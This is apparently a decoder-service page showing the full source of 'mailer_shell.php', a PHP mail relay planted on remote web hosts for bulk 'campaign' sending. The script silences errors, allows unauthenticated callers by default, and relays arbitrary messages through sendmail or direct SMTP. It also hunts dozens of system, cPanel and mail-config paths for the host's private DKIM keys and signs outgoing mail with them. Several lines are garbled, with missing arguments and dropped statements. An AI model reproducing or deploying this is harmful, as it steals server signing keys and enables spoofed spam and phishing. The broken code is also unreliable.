Online PHP and Javascript Decoder decode hidden script to uncover its real functionality



/**
 * mailer_shell.php — CampaignHub PHP Email Relay
 *
 * This is the canonical relay script deployed on remote web hosts for "shell"
 * delivery presets. The Go engine POSTs a pre-built RFC2822 message here.
 *
 * MAJOR IMPROVEMENTS (replaces previous version entirely):
 *   - Large attachments (multi-megabyte) handled gracefully via streaming.
 *   - Accepts payload via multipart file upload or raw request body (no
 *     double-base64 bloat on the wire, SAPI temp files used automatically).
 *   - Legacy base64 `raw_message` form field still supported for small
 *     messages and easy testing.
 *   - Early + frequent progress output with flush() to keep nginx, Cloudflare,
 *     LiteSpeed and other reverse proxies from killing long-running requests.
 *   - Per-phase time budgets: slow "direct" or "force" attempts are aborted
 *     instead of hanging the whole POST until the web server kills it (502/504).
 *   - Memory-safe processing: message is always streamed to a seekable temp
 *     file; never a giant string in RAM for base64 decode or DKIM.
 *   - Streaming delivery to sendmail (popen/proc) and raw SMTP sockets.
 *   - Incremental relaxed body hashing for DKIM on large bodies.
 *   - Granular status tokens (*recv:progress:*, *phase:*, *method:*) and
 *     specific error tokens for better diagnostics.
 *   - Proper temp file lifecycle with guaranteed cleanup.
 *   - Frequent connection_aborted() checks so that cancelled debug sends or
 *     inbox tests (which use the 60s gRPC SendOne path) do not leave stuck
 *     PHP-FPM workers on the remote host.
 *
 * Debug, inbox test, and live campaign sends all use the identical delivery
 * path through ShellSender.Send, so the reliability improvements apply to all.
 *
 * Because there were no deployed copies at the time of this rewrite, the
 * on-the-wire protocol was improved. The Go client now prefers the efficient
 * paths but can still fall back to the old base64 form field.
 *
 * Recommended deployment limits (php.ini or .user.ini in the directory):
 *   upload_max_filesize = 30M
 *   post_max_size       = 30M
 *   max_execution_time  = 120
 *   memory_limit        = 128M
 *   output_buffering    = Off
 *
 * nginx (if in front):
 *   client_max_body_size 30m;
 *   proxy_read_timeout 180s;
 *
 * Fill SECRET_TOKEN after download. Leave empty to allow all callers (not
 * recommended for public deployments).
 */

define('SECRET_TOKEN', '');

// ====================== TUNABLES ======================
define('MAX_MESSAGE_BYTES', 25 * 1024 * 1024);   // 25 MiB hard safety cap
define('OVERALL_TIMEOUT_SEC', 90);
define('PER_METHOD_TIMEOUT_SEC', 20);
define('PROGRESS_FLUSH_EVERY_BYTES', 256 * 1024);
define('TMP_DIR', sys_get_temp_dir());
define('TMP_PREFIX', 'mf-relay-');

// ====================== RUNTIME STATE ======================
@error_reporting(0);
@ini_set('display_errors', 0);
@ini_set('html_errors', 0);
@ini_set('zlib.output_compression', 0);
@ini_set('output_buffering', '0');
@set_time_limit(OVERALL_TIMEOUT_SEC);
@ignore_user_abort(false);

$__start_time = microtime(true);
$__phase_start = $__start_time;
$__our_temp_files = [];

register_shutdown_function(function () use (&$__our_temp_files) {
    foreach ($__our_temp_files as $p) {
        @unlink($p);
    }
});

function budget_exceeded() {
    global $__start_time;
    return (microtime(true) - $__start_time) > OVERALL_TIMEOUT_SEC;
}

function method_time_left() {
    global $__phase_start;
    $spent = microtime(true) - $__phase_start;
    return max(1, PER_METHOD_TIMEOUT_SEC - $spent);
}

function client_gone() {
    // Important for debug sends and inbox tests: the caller (Go) may time out
    // or the user may cancel the request. We must notice quickly so we don't
    // hold an FPM worker for a long time on a dead connection.
    return connection_aborted() || connection_status() != CONNECTION_NORMAL;
}

function emit($token) {
    echo $token . "\r\n";
    @ob_flush();
    @flush();
    if (client_gone()) {
        
    }
}

function fail($token) {
    emit($token);
    
}

function start_phase($name) {
    global $__phase_start;
    $__phase_start = microtime(true);
    emit('*phase:' . $name . '*');
}

// ====================== AUTH & DISPATCH ======================
$token = $_REQUEST['token'] ?? '';
if (SECRET_TOKEN !== '' && !hash_equals(SECRET_TOKEN, $token)) {
    fail('*error:unauthorized*');
}

$action = $_REQUEST['action'] ?? '';
if ($action === 'check') {
    handleCheck();
} elseif ($action === 'send') {
    handleSend();
} else {
    fail('*error:invalid_action*');
}

// ====================== CHECK ======================
function handleCheck() {
    if (isset($_REQUEST['ping'])) {
        emit('*ok*');
        
    }

    emit('*ok*');

    // Report actual limits so the operator can see what will work
    $limits = [
        'upload'  => ini_get('upload_max_filesize'),
        'post'    => ini_get('post_max_size'),
        'mem'     => ini_get('memory_limit'),
        'time'    => ini_get('max_execution_time'),
        'our_max' => MAX_MESSAGE_BYTES,
    ];
    emit('*limits:' . json_encode($limits) . '*');

    $methods = detectMethods();
    emit('*methods:' . implode(',', $methods) . '*');

    $domain = getShellDomain();
    $mtaSigns = in_array('sendmail', $methods, true) || in_array('mail', $methods, true);

    if ($mtaSigns) {
        $has = false;
        foreach (['default', 'mail', 'smtp', 'dkim'] as $sel) {
            if (function_exists('checkdnsrr') && @checkdnsrr($sel . '._domainkey.' . $domain, 'TXT')) {
                emit('*dkim:mta:' . $sel . ':' . $domain . '*');
                $has = true;
                break;
            }
        }
        if (!$has) {
            emit('*dkim:mta:unknown:' . $domain . '*');
        }
    } else {
        $dk = detectDkimKey($domain);
        if ($dk !== false) {
            emit('*dkim:php:' . $dk['selector'] . ':' . $dk['domain'] . '*');
        } else {
            emit('*dkim:no*');
        }
    }
    
}

// ====================== SEND (main entry) ======================
function handleSend() {
    $envelopeFrom = trim($_REQUEST['envelope_from'] ?? '');
    $recipient    = trim($_REQUEST['recipient'] ?? '');

    if ($recipient === '' || strpos($recipient, '@') === false) {
        fail('*send:bad:missing_recipient*');
    }

    if (client_gone()) {
        
    }

    emit('*recv:started*');

    $msgFh = acquireMessageStream($size);
    if ($msgFh === false) {
        fail('*send:bad:php:upload*');
    }
    emit('*recv:complete:' . $size . '*');

    if (budget_exceeded() || client_gone()) {
        cleanup($msgFh);
        fail('*send:bad:timeout:receive*');
    }

    $fromDomain = extractFromDomainFromStream($msgFh);
    rewindOrStart($msgFh);

    $senderDomain = (strpos($envelopeFrom, '@') !== false)
        ? explode('@', $envelopeFrom)[1]
        : ($fromDomain !== '' ? $fromDomain : getShellDomain());

    $phpSignedFh = null;
    $dkimInfo = null;

    $methods = [
        'sendmail' => function () use ($msgFh, $envelopeFrom, $recipient) {
            start_phase('sendmail');
            return sendViaSendmailStream($msgFh, $envelopeFrom, $recipient);
        },
        'mail' => function () use ($msgFh, $envelopeFrom, $recipient) {
            start_phase('mail');
            return sendViaMailStream($msgFh, $envelopeFrom, $recipient);
        },
        'force' => function () use (&$phpSignedFh, &$dkimInfo, $msgFh, $fromDomain, $envelopeFrom, $recipient, $senderDomain) {
            start_phase('force');
            $toSend = getSignedStreamIfNeeded($msgFh, $fromDomain, $dkimInfo, $phpSignedFh);
            return sendViaForceStream($toSend, $envelopeFrom, $recipient, $senderDomain);
        },
        'direct' => function () use (&$phpSignedFh, &$dkimInfo, $msgFh, $fromDomain, $envelopeFrom, $recipient, $senderDomain) {
            start_phase('direct');
            $toSend = getSignedStreamIfNeeded($msgFh, $fromDomain, $dkimInfo, $phpSignedFh);
            return sendViaDirectStream($toSend, $envelopeFrom, $recipient, $senderDomain);
        },
    ];

    foreach ($methods as $name => $fn) {
        if (budget_exceeded() || client_gone()) {
            cleanup($msgFh, $phpSignedFh);
            fail('*send:bad:timeout:overall*');
        }
        if ($fn()) {
            emit('*method:' . $name . '*');
            emit('*send:ok*');
            cleanup($msgFh, $phpSignedFh);
            
        }
        rewindOrStart($msgFh);
        if ($phpSignedFh) rewindOrStart($phpSignedFh);
    }

    cleanup($msgFh, $phpSignedFh);
    fail('*send:bad:all_methods_failed*');
}

// ====================== PAYLOAD ACQUISITION (core of large attachment support) ======================

function acquireMessageStream(&$outSize) {
    global $__our_temp_files;

    // 1. Best path for large attachments: multipart file upload
    //    The web server SAPI streams this to disk for us.
    foreach (['message', 'eml', 'raw_message_file'] as $k) {
        if (!empty($_FILES[$k]) && $_FILES[$k]['error'] === UPLOAD_ERR_OK) {
            $size = (int)$_FILES[$k]['size'];
            if ($size > MAX_MESSAGE_BYTES) fail('*send:bad:toolarge*');

            $src = $_FILES[$k]['tmp_name'];
            $dst = makeTempPath();
            if (@copy($src, $dst) || @rename($src, $dst)) {
                $fh = @fopen($dst, 'rb');
                if ($fh) { $outSize = $size; return $fh; }
            }
            // Fallback to SAPI temp (still better than RAM)
            $fh = @fopen($src, 'rb');
            if ($fh) { $outSize = $size; return $fh; }
        } elseif (!empty($_FILES[$k]) && $_FILES[$k]['error'] !== UPLOAD_ERR_NO_FILE) {
            $e = $_FILES[$k]['error'];
            if ($e === UPLOAD_ERR_INI_SIZE || $e === UPLOAD_ERR_FORM_SIZE) fail('*send:bad:toolarge*');
            fail('*send:bad:php:upload:' . $e . '*');
        }
    }

    // 2. Raw body (Go can POST the raw RFC2822 bytes directly)
    $ct = $_SERVER['CONTENT_TYPE'] ?? '';
    $inputMode = $_REQUEST['input'] ?? '';
    if ($inputMode === 'raw' ||
        stripos($ct, 'message/rfc822') !== false ||
        stripos($ct, 'application/octet-stream') !== false) {
        return readRawBodyToTemp($outSize);
    }

    // 3. Legacy path: base64 in form field (still supported)
    $b64 = $_REQUEST['raw_message'] ?? '';
    if ($b64 !== '') {
        return decodeBase64ToTemp($b64, $outSize);
    }

    fail('*send:bad:missing_raw_message*');
    return false;
}

function makeTempPath() {
    global $__our_temp_files;
    $dir = rtrim(TMP_DIR, '/\\');
    $path = $dir . '/' . TMP_PREFIX . bin2hex(random_bytes(8));
    $__our_temp_files[] = $path;
    return $path;
}

function readRawBodyToTemp(&$outSize) {
    $in = @fopen('php://input', 'rb');
    if (!$in) return false;

    $dst = makeTempPath();
    $out = @fopen($dst, 'wb');
    if (!$out) { @fclose($in); return false; }

    $size = 0;
    $chunkSize = 65536;
    while (!feof($in)) {
        if (budget_exceeded() || client_gone()) break;
        $chunk = @fread($in, $chunkSize);
        if ($chunk === false) break;
        $size += strlen($chunk);
        if ($size > MAX_MESSAGE_BYTES) {
            @fclose($in); @fclose($out);
            fail('*send:bad:toolarge*');
        }
        @fwrite($out, $chunk);
        if (($size % PROGRESS_FLUSH_EVERY_BYTES) < $chunkSize) {
            emit('*recv:progress:' . $size . '*');
        }
    }
    @fclose($in);
    @fclose($out);

    if (client_gone()) {
        @unlink($dst);
        
    }

    $fh = @fopen($dst, 'rb');
    $outSize = $size;
    return $fh;
}

function decodeBase64ToTemp($b64, &$outSize) {
    // We have to accept the base64 string (it came from $_REQUEST), but we
    // decode it incrementally into a temp file so we never hold the full
    // decoded message in RAM at once.
    $b64Tmp = makeTempPath();
    @file_put_contents($b64Tmp, $b64);

    $in = @fopen($b64Tmp, 'rb');
    if (!$in) return false;

    $dst = makeTempPath();
    $out = @fopen($dst, 'wb');
    if (!$out) { @fclose($in); return false; }

    // Streaming decode
    @stream_filter_append($in, 'convert.base64-decode', STREAM_FILTER_READ);

    $size = 0;
    $chunkSize = 65536;
    while (!feof($in)) {
        if (budget_exceeded() || client_gone()) break;
        $chunk = @fread($in, $chunkSize);
        if ($chunk === false) break;
        $size += strlen($chunk);
        if ($size > MAX_MESSAGE_BYTES) {
            @fclose($in); @fclose($out);
            fail('*send:bad:toolarge*');
        }
        @fwrite($out, $chunk);
    }
    @fclose($in);
    @fclose($out);

    if (client_gone()) {
        @unlink($dst);
        
    }

    $fh = @fopen($dst, 'rb');
    $outSize = $size;
    return $fh;
}

function cleanup(...$fhs) {
    foreach ($fhs as $fh) {
        if (is_resource($fh)) @fclose($fh);
    }
}

function rewindOrStart($fh) {
    if (is_resource($fh)) {
        @rewind($fh) || @fseek($fh, 0, SEEK_SET);
    }
}

// ====================== STREAMING DKIM ======================

function extractFromDomainFromStream($fh) {
    $headers = '';
    while (!feof($fh)) {
        $line = @fgets($fh, 8192);
        if ($line === false) break;
        $headers .= $line;
        if (rtrim($line, "\r\n") === '') break;
        if (strlen($headers) > 32768) break;
    }
    if (preg_match('/^From:[ \t]*.*?@([\w.\-]+)/mi', $headers, $m)) {
        return strtolower(trim($m[1]));
    }
    return '';
}

function getSignedStreamIfNeeded($original, $fromDomain, &$dkimInfo, &$signedFh) {
    if ($signedFh !== null) {
        rewindOrStart($signedFh);
        return $signedFh;
    }
    if ($fromDomain === '') {
        rewindOrStart($original);
        return $original;
    }
    if ($dkimInfo === null) {
        $dkimInfo = detectDkimKey($fromDomain);
    }
    if ($dkimInfo === false || $dkimInfo === null) {
        rewindOrStart($original);
        return $original;
    }

    $signedPath = makeTempPath();
    $out = @fopen($signedPath, 'wb');
    if (!$out) {
        rewindOrStart($original);
        return $original;
    }

    // Read headers
    $headerBlock = '';
    $bodyStart = 0;
    while (!feof($original)) {
        $pos = @ftell($original);
        $line = @fgets($original, 8192);
        if ($line === false) break;
        $headerBlock .= $line;
        if (rtrim($line, "\r\n") === '') {
            $bodyStart = @ftell($original);
            break;
        }
    }

    $bodyHash = computeRelaxedBodyHash($original, $bodyStart);
    $partial = buildDkimPartial($headerBlock, $bodyHash, $dkimInfo);

    $dataToSign = dkimCanonForSigning($headerBlock, $partial);
    $sig = '';
    $key = @openssl_get_privatekey($dkimInfo['key']);
    if ($key) {
        $algo = defined('OPENSSL_ALGO_SHA256') ? OPENSSL_ALGO_SHA256 : 6;
        @openssl_sign($dataToSign, $sig, $key, $algo);
        if (PHP_VERSION_ID < 80000) @openssl_free_key($key);
    }

    if ($sig === '') {
        rewindOrStart($original);
        @fclose($out);
        return $original;
    }

    $sigB64 = rtrim(chunk_split(base64_encode($sig), 76, "\r\n\t"));
    @fwrite($out, $partial . $sigB64 . "\r\n");

    rewindOrStart($original);
    while (!feof($original)) {
        $c = @fread($original, 65536);
        if ($c === false) break;
        @fwrite($out, $c);
    }
    @fclose($out);

    $signedFh = @fopen($signedPath, 'rb');
    return $signedFh ?: $original;
}

function computeRelaxedBodyHash($fh, $bodyStart) {
    @fseek($fh, $bodyStart, SEEK_SET);
    $ctx = hash_init('sha256');
    $carry = '';
    $prevEmpty = true;

    while (!feof($fh)) {
        $chunk = @fread($fh, 65536);
        if ($chunk === false) break;
        $chunk = str_replace(["\r\n", "\r"], "\n", $chunk);
        $lines = explode("\n", $chunk);

        foreach ($lines as $i => $l) {
            if ($i === 0) $l = $carry . $l;
            $t = rtrim($l, " \t");
            if ($t === '') {
                if (!$prevEmpty) hash_update($ctx, "\r\n");
                $prevEmpty = true;
            } else {
                hash_update($ctx, $t . "\r\n");
                $prevEmpty = false;
            }
        }
        $carry = end($lines);
    }
    if (!$prevEmpty) hash_update($ctx, "\r\n");
    return hash_final($ctx, true);
}

function buildDkimPartial($headerBlock, $bodyHash, $dkimInfo) {
    $want = ['from','to','subject','date','message-id','mime-version','content-type'];
    list($canon, $present) = dkimCanonHeaders($headerBlock, $want);
    $bh = base64_encode($bodyHash);
    return 'DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; s=' . $dkimInfo['selector'] . '; d=' . $dkimInfo['domain'] . '; t=' . time() . '; h=' . implode(':', array_map('strtolower', $present)) . '; bh=' . $bh . '; b=';
}

function dkimCanonHeaders($headerBlock, $want) {
    $unfolded = preg_replace("/\r\n([ \t])/", '$1', $headerBlock) ?? $headerBlock;
    $out = [];
    $names = [];
    foreach (explode("\r\n", $unfolded) as $line) {
        if ($line === '') continue;
        $c = strpos($line, ':');
        if ($c === false) continue;
        $n = strtolower(trim(substr($line, 0, $c)));
        $v = trim(substr($line, $c + 1));
        if (in_array($n, $want, true)) {
            $out[] = $n . ':' . preg_replace('/\s+/', ' ', $v);
            $names[] = $n;
        }
    }
    return [$out, $names];
}

function dkimCanonForSigning($headerBlock, $partial) {
    list($c, $p) = dkimCanonHeaders($headerBlock, ['from','to','subject','date','message-id','mime-version','content-type']);
    $c[] = strtolower(trim($partial));
    return implode("\r\n", $c) . "\r\n";
}

// ====================== STREAMING DELIVERY ======================

function sendViaSendmailStream($fh, $envFrom, $rcpt) {
    $bin = null;
    foreach (['/usr/sbin/sendmail','/usr/lib/sendmail','/usr/bin/sendmail',
              '/usr/local/sbin/sendmail','/usr/local/bin/sendmail'] as $p) {
        if (@is_executable($p)) { $bin = $p; break; }
    }
    if ($bin === null) return false;

    $cmd = escapeshellcmd($bin) . ' -i -f ' . escapeshellarg($envFrom) . ' ' . escapeshellarg($rcpt);
    $disabled = strtolower((string)@ini_get('disable_functions'));

    if (function_exists('popen') && strpos($disabled, 'popen') === false) {
        $h = @popen($cmd, 'w');
        if (!$h) return false;
        streamCopy($fh, $h);
        return @pclose($h) === 0;
    }
    if (function_exists('proc_open') && strpos($disabled, 'proc_open') === false) {
        $desc = [0=>['pipe','r'], 1=>['pipe','w'], 2=>['pipe','w']];
        $p = @proc_open($cmd, $desc, $pipes);
        if (!is_resource($p)) return false;
        streamCopy($fh, $pipes[0]);
        @fclose($pipes[0]); @fclose($pipes[1]); @fclose($pipes[2]);
        return @proc_close($p) === 0;
    }
    return false;
}

function streamCopy($in, $out) {
    $t = method_time_left();
    @stream_set_timeout($in, $t);
    while (!feof($in)) {
        if (budget_exceeded() || client_gone()) break;
        $c = @fread($in, 65536);
        if ($c === false) break;
        @fwrite($out, $c);
    }
}

function sendViaMailStream($fh, $envFrom, $rcpt) {
    if (!function_exists('mail')) return false;

    $headers = '';
    $body = '';
    $inBody = false;
    while (!feof($fh)) {
        $l = @fgets($fh, 8192);
        if ($l === false) break;
        if (!$inBody) {
            if (rtrim($l, "\r\n") === '') { $inBody = true; continue; }
            $headers .= $l;
        } else {
            $body .= $l;
        }
    }
    $subject = '';
    if (preg_match('/^Subject:[ \t]*(.+)$/mi', $headers, $m)) $subject = rtrim($m[1]);
    $extra = preg_replace('/^(To|Subject|From):[ \t][^\r\n]*\r\n/mi', '', $headers);
    return @mail($rcpt, $subject, $body, trim($extra ?? ''), '-f ' . escapeshellarg($envFrom));
}

function sendViaForceStream($fh, $envFrom, $rcpt, $senderDom) {
    $targets = [
        ['h'=>'localhost','p'=>25,'ssl'=>false,'t'=>3],
        ['h'=>'localhost','p'=>587,'ssl'=>false,'t'=>3],
        ['h'=>'localhost','p'=>465,'ssl'=>true,'t'=>3],
    ];
    foreach (getMxRecords($senderDom) as $mx) {
        $targets[] = ['h'=>$mx,'p'=>25,'ssl'=>false,'t'=>5];
    }
    $targets[] = ['h'=>'mail.' . $senderDom, 'p'=>25, 'ssl'=>false, 't'=>5];
    $targets[] = ['h'=>'smtp.' . $senderDom, 'p'=>25, 'ssl'=>false, 't'=>5];

    foreach ($targets as $t) {
        $s = smtpConnect($t['h'], $t['p'], $t['ssl'], $t['t']);
        if ($s === false) continue;
        $ok = smtpDeliverStream($s, $envFrom, $rcpt, $fh, $senderDom);
        @fclose($s);
        if ($ok) return true;
    }
    return false;
}

function sendViaDirectStream($fh, $envFrom, $rcpt, $senderDom) {
    $dom = explode('@', $rcpt)[1] ?? '';
    if ($dom === '') return false;
    foreach (getMxRecords($dom) as $mx) {
        $s = smtpConnect($mx, 25, false, 10);
        if ($s === false) continue;
        $ok = smtpDeliverStream($s, $envFrom, $rcpt, $fh, $senderDom);
        @fclose($s);
        if ($ok) return true;
    }
    return false;
}

function smtpConnect($host, $port, $ssl, $to) {
    $ctx = @stream_context_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,'allow_self_signed'=>true]]);
    $s = false;
    if (!$ssl && function_exists('fsockopen')) {
        $s = @fsockopen($host, $port, $e, $es, $to);
    }
    if (!$s) {
        $addr = ($ssl ? 'ssl://' : 'tcp://') . $host . ':' . $port;
        $s = @stream_socket_client($addr, $e, $es, $to, STREAM_CLIENT_CONNECT, $ctx);
    }
    if (!$s) return false;
    @stream_set_timeout($s, $to);
    if (!preg_match('/^220/', smtpCmd($s, null))) { @fclose($s); return false; }
    return $s;
}

function smtpDeliverStream($sock, $envFrom, $rcpt, $fh, $ehlo) {
    $helo = formatEhloHost($ehlo);
    $r = smtpCmd($sock, "EHLO $helo");
    if (!preg_match('/^250/', $r)) {
        if (!preg_match('/^250/', smtpCmd($sock, "HELO $helo"))) return false;
    }
    if (stripos($r, 'STARTTLS') !== false) {
        if (!preg_match('/^220/', smtpCmd($sock, "STARTTLS"))) return false;
        if (!@stream_socket_enable_crypto($sock, true, STREAM_CRYPTO_METHOD_TLS_CLIENT)) return false;
        if (!preg_match('/^250/', smtpCmd($sock, "EHLO $helo"))) return false;
    }
    if (!preg_match('/^250/', smtpCmd($sock, "MAIL FROM: <$envFrom>"))) return false;
    if (!preg_match('/^25[01]/', smtpCmd($sock, "RCPT TO: <$rcpt>"))) return false;
    if (!preg_match('/^354/', smtpCmd($sock, "DATA"))) return false;

    rewindOrStart($fh);
    while (!feof($fh)) {
        if (client_gone()) break;
        $line = @fgets($fh, 8192);
        if ($line === false) break;
        if (isset($line[0]) && $line[0] === ) $line =  . $line;
        @fputs($sock, rtrim($line, "\r\n") . "\r\n");
    }
    if (!preg_match('/^250/', smtpCmd($sock, ))) return false;
    smtpCmd($sock, "QUIT");
    return true;
}

function smtpCmd($sock, $cmd) {
    if ($cmd !== null) @fputs($sock, $cmd . "\r\n");
    $buf = '';
    $t = method_time_left();
    @stream_set_timeout($sock, max(1, (int)$t));
    while (!@feof($sock)) {
        if (client_gone()) break;
        $l = @fgets($sock, 515);
        if ($l === false) break;
        $buf .= $l;
        if (isset($l[3]) && $l[3] === ' ') break;
    }
    return $buf;
}

// ====================== UTILITIES ======================

function detectMethods() {
    $avail = [];
    $dis = strtolower((string)@ini_get('disable_functions'));

    foreach (['/usr/sbin/sendmail','/usr/lib/sendmail','/usr/bin/sendmail'] as $p) {
        if (@is_executable($p)) { $avail[] = 'sendmail'; break; }
    }

    $hasSock = (function_exists('fsockopen') && strpos($dis, 'fsockopen') === false)
            || function_exists('stream_socket_client');

    if ($hasSock) {
        $avail[] = 'force';
        if (isset($_REQUEST['probe_direct']) || isset($_REQUEST['full_check'])) {
            $mx = getMxRecords('gmail.com');
            if (!empty($mx)) {
                $p = @fsockopen($mx[0], 25, $e, $es, 2);
                if ($p) { @fclose($p); $avail[] = 'direct'; }
            }
        }
    }

    if (function_exists('mail') && strpos($dis, 'mail') === false) {
        $avail[] = 'mail';
    }
    return $avail;
}

function getMxRecords($domain) {
    $h = $p = [];
    if (function_exists('getmxrr') && @getmxrr($domain, $h, $p) && !empty($h)) {
        array_multisort($p, $h);
        return $h;
    }
    if (function_exists('dns_get_record')) {
        $r = @dns_get_record($domain, DNS_MX);
        if (!empty($r)) {
            foreach ($r as $rec) {
                if (!empty($rec['target'])) { $h[] = $rec['target']; $p[] = $rec['pri'] ?? 10; }
            }
            if (!empty($h)) { array_multisort($p, $h); return $h; }
        }
        $a = @dns_get_record($domain, DNS_A);
        if (!empty($a[0]['ip'])) return [$a[0]['ip']];
    }
    return [];
}

function getShellDomain() {
    $host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? '';
    $host = preg_replace('/:\d+$/', '', $host) ?? '';
    $host = preg_replace('/^www\./i', '', $host) ?? '';
    if ($host === '' || $host === 'localhost') return 'localhost';
    $parts = explode(, $host);
    if (count($parts) > 2) {
        for ($i = 1; $i < count($parts)-1; $i++) {
            $c = implode(, array_slice($parts, $i));
            if (@gethostbyname($c) !== $c) return $c;
        }
    }
    return $host;
}

function formatEhloHost($host) {
    return preg_match('/^(\d{1,3}\.){3}\d{1,3}$/', $host) ? '[' . $host . ']' : $host;
}

function detectDkimKey($domain) {
    $sels = array_unique(['default','mail','smtp','dkim','s1','s2','k1', explode(, $domain)[0]]);
    foreach ($sels as $s) {
        $k = findDkimKeyInPaths($domain, $s);
        if ($k !== false) return ['key'=>$k, 'selector'=>$s, 'domain'=>$domain];
    }
    $cp = findDkimKeyCpanel($domain);
    if ($cp !== false) return $cp;
    $cfg = parseConfigFilesForDkimKey();
    if ($cfg !== false) return ['key'=>$cfg, 'selector'=>'default', 'domain'=>$domain];
    return false;
}

function findDkimKeyInPaths($domain, $sel) {
    $paths = [
        "/etc/dkim/private.key", "/etc/dkimkeys/{$domain}.private",
        "/etc/dkim/keys/{$domain}.private", "/etc/opendkim/keys/{$domain}/{$sel}.private",
        "/etc/opendkim/{$sel}.private", "/etc/mail/dkim/{$domain}.key",
        "/etc/mail/dkim/{$sel}.private", "/var/lib/dkim/{$domain}.private",
        "/var/lib/opendkim/keys/{$domain}/{$sel}.private", "/var/db/dkim/{$domain}.private",
        "/usr/local/etc/dkim/{$domain}.private", "/usr/local/etc/opendkim/keys/{$domain}/{$sel}.private",
        "/usr/local/etc/mail/dkim/{$domain}.private", "/usr/local/etc/mail/dkim/keys/{$domain}/{$sel}.private",
        "/opt/dkim/keys/{$domain}/{$sel}.private", "/opt/opendkim/keys/{$domain}/{$sel}.private",
        "/home/dkim/keys/{$domain}.private", "/home/dkim/{$sel}.private",
        "/home/mail/dkim/keys/{$domain}/{$sel}.private", "/home/mail/dkim/{$domain}/{$sel}.private",
        "/root/dkim/keys/{$domain}/{$sel}.private", "/root/opendkim/keys/{$domain}/{$sel}.private",
        "/etc/ssl/private/{$domain}.key", "/etc/ssl/private/{$sel}.key",
        "/etc/exim4/dkim/{$domain}.private", "/etc/postfix/dkim/{$domain}.private",
        "/var/spool/postfix/dkim/{$domain}.private", "/var/cpanel/domain_keys/private/{$domain}",
    ];
    foreach ($paths as $p) {
        $c = @file_get_contents($p);
        if ($c !== false && strpos($c, 'PRIVATE KEY') !== false) return $c;
    }
    return false;
}

function findDkimKeyCpanel($domain) {
    if (!@is_dir('/usr/local/cpanel') && !@is_dir('/var/cpanel')) return false;
    $doc = $_SERVER['DOCUMENT_ROOT'] ?? '';
    $user = '';
    if (preg_match('#^/home/([^/]+)/#', $doc, $m)) $user = $m[1];

    $paths = ["/var/cpanel/domain_keys/private/{$domain}"];
    if ($user) {
        $h = "/home/{$user}";
        $paths[] = "{$h}/dkim.private"; $paths[] = "{$h}/.dkim.private";
        foreach (['default','mail','smtp','dkim'] as $s) {
            $paths[] = "{$h}/.dkim/{$domain}.private";
            $paths[] = "{$h}/.dkim/{$s}.private";
            $paths[] = "{$h}/dkim/{$domain}.private";
            $paths[] = "{$h}/mail/dkim/{$domain}.private";
            $paths[] = "{$h}/etc/{$domain}/dkim.private";
            $paths[] = "{$h}/etc/dkim/{$s}.private";
        }
    }
    foreach ($paths as $p) {
        $c = @file_get_contents($p);
        if ($c !== false && strpos($c, 'PRIVATE KEY') !== false) {
            return ['key'=>$c, 'selector'=>'default', 'domain'=>$domain];
        }
    }
    return false;
}

function parseConfigFilesForDkimKey() {
    $files = ['/etc/opendkim.conf','/etc/opendkim/opendkim.conf','/etc/exim4/exim4.conf.template',
              '/etc/exim/exim.conf','/etc/mail/dkim-milter.conf','/etc/dkim-milter.conf',
              '/etc/amavis/conf.d/20-dkim_verification','/etc/rspamd/local.d/dkim_signing.conf',
              '/etc/pmta/config','/etc/postfix/main.cf'];
    $pats = [
        '/KeyFile\s+(.+\.(?:private|pem|key))/i',
        '/dkim_private_key\s*=\s*["\']?([^"\';\s]+)/i',
        '/DKIM_PRIVATE_KEY_PATH\s*=\s*["\']?([^"\';\s]+)/i',
        '/private_key\s*=\s*["\']?([^"\';\s]+\.(?:private|pem|key))/i',
        '/signing_key\s*=\s*["\']?([^"\';\s]+)/i',
    ];
    foreach ($files as $f) {
        $t = @file_get_contents($f);
        if ($t === false) continue;
        foreach ($pats as $pat) {
            if (preg_match($pat, $t, $m)) {
                $c = @file_get_contents(trim($m[1]));
                if ($c !== false && strpos($c, 'PRIVATE KEY') !== false) return $c;
            }
        }
    }
    return false;
}



© 2023 Quttera Ltd. All rights reserved.